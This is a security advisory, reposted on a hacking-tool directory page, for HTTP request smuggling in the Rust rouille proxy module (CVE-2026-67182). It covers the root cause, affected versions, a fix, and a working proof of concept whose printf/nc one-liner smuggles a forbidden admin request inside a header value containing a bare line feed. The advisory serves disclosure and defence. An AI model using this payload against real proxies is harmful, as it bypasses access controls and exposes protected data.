Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)

Assigned CVE ID: CVE-2026-67182

Summary

rouille::proxy::proxy and rouille::proxy::full_proxy copy client-supplied request header values into the upstream connection without checking them for control characters. A header value can legitimately contain a bare line feed (0x0A), because the underlying tiny_http header parser only ends a header line on CRLF. Backends that accept a bare LF as a line terminator therefore read one front-end request as two.

The second request is fully attacker-controlled, including its method and path, and never passes through the rouille handler that decided to proxy the first one. Its response body is also returned to the attacker.

Affected versions

Repo URL: https://github.com/tomaka/rouille

First affected0.3.3 (2016-12-03), the release that introduced src/proxy.rs
Last affected3.6.2 (2023-04-24), the current release
Not affected0.3.2 and earlier, which have no proxy module
Fixed inno fixed version at time of writing

Every published release from 0.3.3 to 3.6.2 contains the unmodified code. The file src/proxy.rs is byte-identical between the 3.6.2 tag and the current master branch.

Only applications that call proxy::proxy or proxy::full_proxy are affected.

Severity

CWE-444 (Inconsistent Interpretation of HTTP Requests), reached through CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).

CVSS 4.0 base score 6.9 (Medium) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Threat model

The attacker is a remote, unauthenticated client that can send raw HTTP to a rouille server. No credentials, no user interaction, and no position on the network between components are required.

The deployment at risk is a rouille application acting as a reverse proxy that makes a security decision (routing, authentication, authorization, or content filtering) before calling proxy(), in front of a backend whose HTTP parser accepts a bare LF as a header line terminator.

Measured backend behaviour:

BackendVersion testedAccepts the injected LF
Go net/httpgo1.26.4yes, serves the smuggled request
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13yes, serves the smuggled request
Node.jsv26.3.0no, returns 400 (llhttp strict mode)
PHP built-in server8.5.8no, drops the connection

nginx and Apache were not tested. RFC 9112 section 2.2 permits a recipient to recognise a lone LF as a line terminator, so the accepting backends are behaving within spec.

Root cause

rouille/src/proxy.rs, lines 157 to 174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

Line 171 is the sink. value is untrusted and is written with no validation.

The taint enters through tiny_http. In tiny_http-0.12.0/src/client.rs, lines 80 to 102, a header line ends only when a LF follows a CR:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

A lone LF falls through to line 100 and is pushed into the line buffer. LF is valid ASCII, so AsciiString::from_ascii accepts it. Header::from_str at tiny_http-0.12.0/src/common.rs line 184 then only trims the value, which strips leading and trailing whitespace but leaves interior bytes alone:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

The result is a rouille header value containing a raw \n, which line 171 of proxy.rs writes straight into the upstream request.

Connection: close on line 173 does not contain the damage. The injected blank line ends the first request before line 173 runs, so that header is absorbed into the smuggled request. The first request carries no Connection header and defaults to HTTP/1.1 keep-alive, which is exactly what lets the backend go on to process the second one.

Proof of Concept

Step 1. Create a backend document root with a public file and a file the proxy is supposed to protect.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Step 2. Start a keep-alive backend on port 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Step 3. Start the rouille front end on port 8000. It proxies /public/ and refuses everything else.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Step 4. Confirm the access control works.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Step 5. Send a single request for the permitted path with a bare LF inside a header value. In the command below \n is a bare line feed and \r\n is a CRLF. The distinction is the whole attack, so do not let an editor normalise it.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Result. The backend log shows two requests, the second one being the path the front end refused in step 4:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

The attacker also receives the protected content, because src/proxy.rs line 224 turns the remainder of the upstream socket into the response body:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Impact

An unauthenticated client can issue an arbitrary request to the backend and read its response, while the rouille handler only ever sees the permitted request. This defeats path-based access control, authentication performed in the handler, and any request inspection done before the call to proxy().

Two limits are worth stating. proxy() opens a fresh TCP connection per request and does not pool, so this does not give the cross-user request-queue poisoning associated with classic smuggling. The attack also needs an LF-tolerant backend, as measured above.

Remediation

Reject header names and values that contain control characters before writing them upstream. In src/proxy.rs, inside the loop at line 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Download Tool